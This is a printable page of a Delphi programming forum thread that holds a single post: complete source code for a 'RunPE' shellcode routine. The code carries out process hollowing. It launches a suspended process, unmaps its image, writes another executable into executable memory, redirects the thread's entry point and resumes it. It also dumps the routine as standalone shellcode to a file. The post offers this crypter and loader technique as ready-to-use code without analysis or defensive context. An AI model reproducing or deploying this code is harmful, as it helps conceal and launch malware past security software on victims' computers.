Parsi Coders
RunPEShellCode - نسخه قابل چاپ

+- Parsi Coders (http://parsicoders.com)
+-- انجمن: Software Development Programming (http://parsicoders.com/forumdisplay.php?fid=37)
+--- انجمن: Pascal/Delphi (http://parsicoders.com/forumdisplay.php?fid=45)
+---- انجمن: Delphi (http://parsicoders.com/forumdisplay.php?fid=69)
+---- موضوع: RunPEShellCode (/showthread.php?tid=1130)



RunPEShellCode - Amin_Mansouri - 10-22-2011



کد:
program RunPEShellCode;

{
RunPE shellcode example
by Li0n Coder
}

uses Windows;

type
Info = record
  //LoadEXE
  ProcInfo     :TProcessInformation;
  StartInfo    :TStartupInfo;
  DosHeader    :PImageDosHeader;
  NTHeaders    :PImageNTHeaders;
  SectionHeader:PImageSectionHeader;
  BytesWritten :DWORD;
  I            :Integer;
  Context      :TContext;
  //CreateProcess
  CreateProcessA   :function(lpApplicationName: PChar; lpCommandLine: PChar;lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;lpCurrentDirectory: PChar; const lpStartupInfo: TStartupInfo;var lpProcessInformation: TProcessInformation): BOOL; stdcall;
  lpApplicationName:PChar;
  lpCommandLine: PChar;
  lpProcessAttributes :PSecurityAttributes;
  lpThreadAttributes :PSecurityAttributes;
  bInheritHandles: BOOL;
  dwCreationFlags: DWORD;
  lpEnvironment: Pointer;
  lpCurrentDirectory: PChar;
  CreateProcessAProcName :array[0..128] of Char;
  CreateProcessADll :array[0..128] of Char;
  //ZwUnmapViewOfSection
  ZwUnmapViewOfSection :function(ProcessHandle: THandle; BaseAddress: Pointer): LongInt; stdcall;
  BaseAddress: Pointer;
  ZwUnmapViewOfSectionProcName :array[0..128] of Char;
  ZwUnmapViewOfSectionDll :array[0..128] of Char;
  //VirtualAllocEx
  VirtualAllocEx :function(hProcess: THandle; lpAddress: Pointer;dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall;
  flAllocationType: DWORD;
  flProtect: DWORD;
  VirtualAllocExProcName :array[0..128] of Char;
  VirtualAllocExDll :array[0..128] of Char;
  //WriteProcessMemory
  WriteProcessMemory :function(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; stdcall;
  lpNumberOfBytesWritten: DWORD;
  WriteProcessMemoryProcName :array[0..128] of Char;
  WriteProcessMemoryDll :array[0..128] of Char;
  //GetThreadContext
  GetThreadContext :function(hThread: THandle; var lpContext: TContext): BOOL; stdcall;
  GetThreadContextProcName :array[0..128] of Char;
  GetThreadContextDll :array[0..128] of Char;
  //SetThreadContext
  SetThreadContext :function(hThread: THandle; const lpContext: TContext): BOOL; stdcall;
  SetThreadContextProcName :array[0..128] of Char;
  SetThreadContextDll :array[0..128] of Char;
  //ResumeThread
  ResumeThread :function(hThread: THandle): DWORD; stdcall;
  ResumeThreadProcName :array[0..128] of Char;
  ResumeThreadDll :array[0..128] of Char;
  //MessageBoxA
  MessageBoxA: function(hWnd: LongWord; lpText, lpCaption: PChar; uType: UINT): Integer; stdcall;
  hWnd: HWND;
  lpText: array[0..128] of Char;
  lpCaption: array[0..128] of Char;
  uType: UINT;
  MessageBoxAProcName: array[0..128] of Char;
  MessageBoxADll: array[0..128] of Char;
  //GetProcAddress
  GetProcAddress: function(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall;
  pGetProcAddress: Pointer;
  //LoadLibraryA
  LoadLibraryA: function(lpLibFileName: PAnsiChar): HMODULE; stdcall;
  pLoadLibraryA: Pointer;
end;


procedure RunPEProc(TInfo:Info;Buffer:pchar); stdcall;
var
I            :Integer;
Begin
  @TInfo.GetProcAddress := TInfo.pGetProcAddress;
  @TInfo.LoadLibraryA := TInfo.pLoadLibraryA;

  @TInfo.MessageBoxA := TInfo.GetProcAddress(TInfo.LoadLibraryA(TInfo.MessageBoxADll), TInfo.MessageBoxAProcName);
  TInfo.MessageBoxA(TInfo.hWnd, TInfo.lpText, TInfo.lpCaption, TInfo.uType);

  TInfo.DosHeader := PImageDosHeader(@Buffer[0]);
  if TInfo.DosHeader.e_magic <> IMAGE_DOS_SIGNATURE then exit;

  TInfo.NTHeaders := PImageNTHeaders(@Buffer[TInfo.DosHeader._lfanew]);
  if TInfo.NTHeaders.Signature <> IMAGE_NT_SIGNATURE then exit;

  TInfo.StartInfo.cb := sizeof(TStartupInfo);
  @TInfo.CreateProcessA := TInfo.GetProcAddress(TInfo.LoadLibraryA(TInfo.CreateProcessADll), TInfo.CreateProcessAProcName);
  TInfo.CreateProcessA(TInfo.lpApplicationName, TInfo.lpCommandLine, TInfo.lpProcessAttributes, TInfo.lpThreadAttributes, TInfo.bInheritHandles, TInfo.dwCreationFlags, TInfo.lpEnvironment, TInfo.lpCurrentDirectory, TInfo.StartInfo, TInfo.ProcInfo);

  @TInfo.ZwUnmapViewOfSection := TInfo.GetProcAddress(TInfo.LoadLibraryA(TInfo.ZwUnmapViewOfSectionDll), TInfo.ZwUnmapViewOfSectionProcName);
  TInfo.ZwUnmapViewOfSection(TInfo.ProcInfo.hProcess, Pointer(TInfo.NTHeaders.OptionalHeader.ImageBase));

  @TInfo.VirtualAllocEx := TInfo.GetProcAddress(TInfo.LoadLibraryA(TInfo.VirtualAllocExDll), TInfo.VirtualAllocExProcName);
  TInfo.VirtualAllocEx(TInfo.ProcInfo.hProcess, Pointer(TInfo.NTHeaders.OptionalHeader.ImageBase), TInfo.NTHeaders.OptionalHeader.SizeOfImage, TInfo.flAllocationType, TInfo.flProtect);

  @TInfo.WriteProcessMemory := TInfo.GetProcAddress(TInfo.LoadLibraryA(TInfo.WriteProcessMemoryDll), TInfo.WriteProcessMemoryProcName);
  TInfo.WriteProcessMemory(TInfo.ProcInfo.hProcess, Pointer(TInfo.NTHeaders.OptionalHeader.ImageBase), @Buffer[0], TInfo.NTHeaders.OptionalHeader.SizeOfHeaders, TInfo.lpNumberOfBytesWritten);

  For I := 0 To TInfo.NTHeaders.FileHeader.NumberOfSections -1 Do
  begin
  TInfo.SectionHeader := PImageSectionHeader(@Buffer[TInfo.DosHeader._lfanew + sizeof(TInfo.NTHeaders^) + sizeof(TInfo.SectionHeader^) * i]);
  TInfo.WriteProcessMemory(TInfo.ProcInfo.hProcess, Pointer(TInfo.NTHeaders.OptionalHeader.ImageBase + TInfo.SectionHeader.VirtualAddress), @Buffer[TInfo.SectionHeader.PointerToRawData], TInfo.SectionHeader.SizeOfRawData, TInfo.lpNumberOfBytesWritten);
  end;

  @TInfo.GetThreadContext := TInfo.GetProcAddress(TInfo.LoadLibraryA(TInfo.GetThreadContextDll), TInfo.GetThreadContextProcName);
  TInfo.GetThreadContext(TInfo.ProcInfo.hThread, TInfo.context);

  TInfo.context.Eax := TInfo.NTHeaders.OptionalHeader.ImageBase + TInfo.NTHeaders.OptionalHeader.AddressOfEntryPoint;

  @TInfo.SetThreadContext := TInfo.GetProcAddress(TInfo.LoadLibraryA(TInfo.SetThreadContextDll), TInfo.SetThreadContextProcName);
  TInfo.SetThreadContext(TInfo.ProcInfo.hThread, TInfo.context);


  @TInfo.ResumeThread := TInfo.GetProcAddress(TInfo.LoadLibraryA(TInfo.ResumeThreadDll), TInfo.ResumeThreadProcName);
  TInfo.ResumeThread(TInfo.ProcInfo.hThread);
End;

Function FunctionToString(pFunction:Pointer):String;
var
FunctionSize:DWORD;
FunctionString:AnsiString;
begin
FunctionSize := 0;
repeat
inc(FunctionSize);
until PByte(Cardinal(pFunction)+FunctionSize-1)^ = $C3;
SetLength(FunctionString, FunctionSize);
Move(pFunction^, FunctionString[1], FunctionSize);
Result := FunctionString;
end;

Function ReadFileData(FileName: String): AnsiString;
Var
  F             :File;
  Buffer        :AnsiString;
  Size          :Integer;
  ReadBytes     :Integer;
  DefaultFileMode:Byte;
Begin
  Result := '';

  DefaultFileMode := FileMode;

  FileMode := 0;
  AssignFile(F, FileName);
  Reset(F, 1);

  If (IOResult = 0) Then
  Begin
    Size := FileSize(F);

    While (Size > 1024) Do
    Begin
      SetLength(Buffer, 1024);
      BlockRead(F, Buffer[1], 1024, ReadBytes);
      Result := Result + Buffer;
      Dec(Size, ReadBytes);
    End;

    SetLength(Buffer, Size);
    BlockRead(F, Buffer[1], Size);
    Result := Result + Buffer;

    CloseFile(F);
  End;

  FileMode := DefaultFileMode;
End;


var
Data:string;
TInfo:Info;
RunPE:procedure(TInfo:Info;Buffer:pchar); stdcall;
filedata:string;
FileHandle:Thandle;
BytesWritten:DWORD;
begin
  //MessageBoxA
  TInfo.hWnd := 0;
  TInfo.lpText := 'hi from shellcode RunPE';
  TInfo.lpCaption := 'info!';
  TInfo.uType := 0;
  TInfo.MessageBoxAProcName := 'MessageBoxA';
  TInfo.MessageBoxADll := 'user32.dll';

  TInfo.pGetProcAddress := GetProcAddress(GetModuleHandle('kernel32.dll'),pChar('GetProcAddress'));
  TInfo.pLoadLibraryA := GetProcAddress(GetModuleHandle('kernel32.dll'),pChar('LoadLibraryA'));

  //CreateProcessA
  TInfo.lpApplicationName:= nil;
  TInfo.lpCommandLine:= pchar(paramstr(0));
  TInfo.lpProcessAttributes :=nil;
  TInfo.lpThreadAttributes :=nil;
  TInfo.bInheritHandles:= False;
  TInfo.dwCreationFlags:= CREATE_SUSPENDED;
  TInfo.lpEnvironment:= nil;
  TInfo.lpCurrentDirectory:= nil;
  TInfo.CreateProcessAProcName := 'CreateProcessA';
  TInfo.CreateProcessADll := 'kernel32.dll';

  //ZwUnmapViewOfSection
  TInfo.ZwUnmapViewOfSectionProcName := 'ZwUnmapViewOfSection';
  TInfo.ZwUnmapViewOfSectionDll := 'ntdll.dll';

  //VirtualAllocEx
  TInfo.flAllocationType:= MEM_COMMIT or MEM_RESERVE;
  TInfo.flProtect:= PAGE_EXECUTE_READWRITE;
  TInfo.VirtualAllocExProcName := 'VirtualAllocEx';
  TInfo.VirtualAllocExDll := 'kernel32.dll';

  //WriteProcessMemory
  TInfo.WriteProcessMemoryProcName := 'WriteProcessMemory';
  TInfo.WriteProcessMemoryDll := 'kernel32.dll';

  //GetThreadContext
  TInfo.context.ContextFlags := CONTEXT_FULL;
  TInfo.GetThreadContextProcName := 'GetThreadContext';
  TInfo.GetThreadContextDll := 'kernel32.dll';

  //SetThreadContext
  TInfo.SetThreadContextProcName := 'SetThreadContext';
  TInfo.SetThreadContextDll := 'kernel32.dll';

  //ResumeThread
  TInfo.ResumeThreadProcName := 'ResumeThread';
  TInfo.ResumeThreadDll := 'kernel32.dll';


  ZeroMemory(@TInfo.StartInfo, SizeOf(TStartupInfo));

  //function to shellcode example
  Data := FunctionToString(@RunPEProc);

  //wtite shellcode to file example
  FileHandle := CreateFile(PChar('func.bin'), GENERIC_WRITE, FILE_SHARE_READ, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  WriteFile(FileHandle, Data[1], Length(Data), BytesWritten, nil);
  CloseHandle(FileHandle);

  //read exe file to be loaded in memory using shellcode RunPE
  filedata := ReadFileData('exe to be loaded in memory.exe');



  //how to use shellcode RunPE
  GetMem(@RunPE, length(Data));
  CopyMemory(@RunPE, @Data[1], length(Data));
  RunPE(TInfo,@filedata[1]);
end.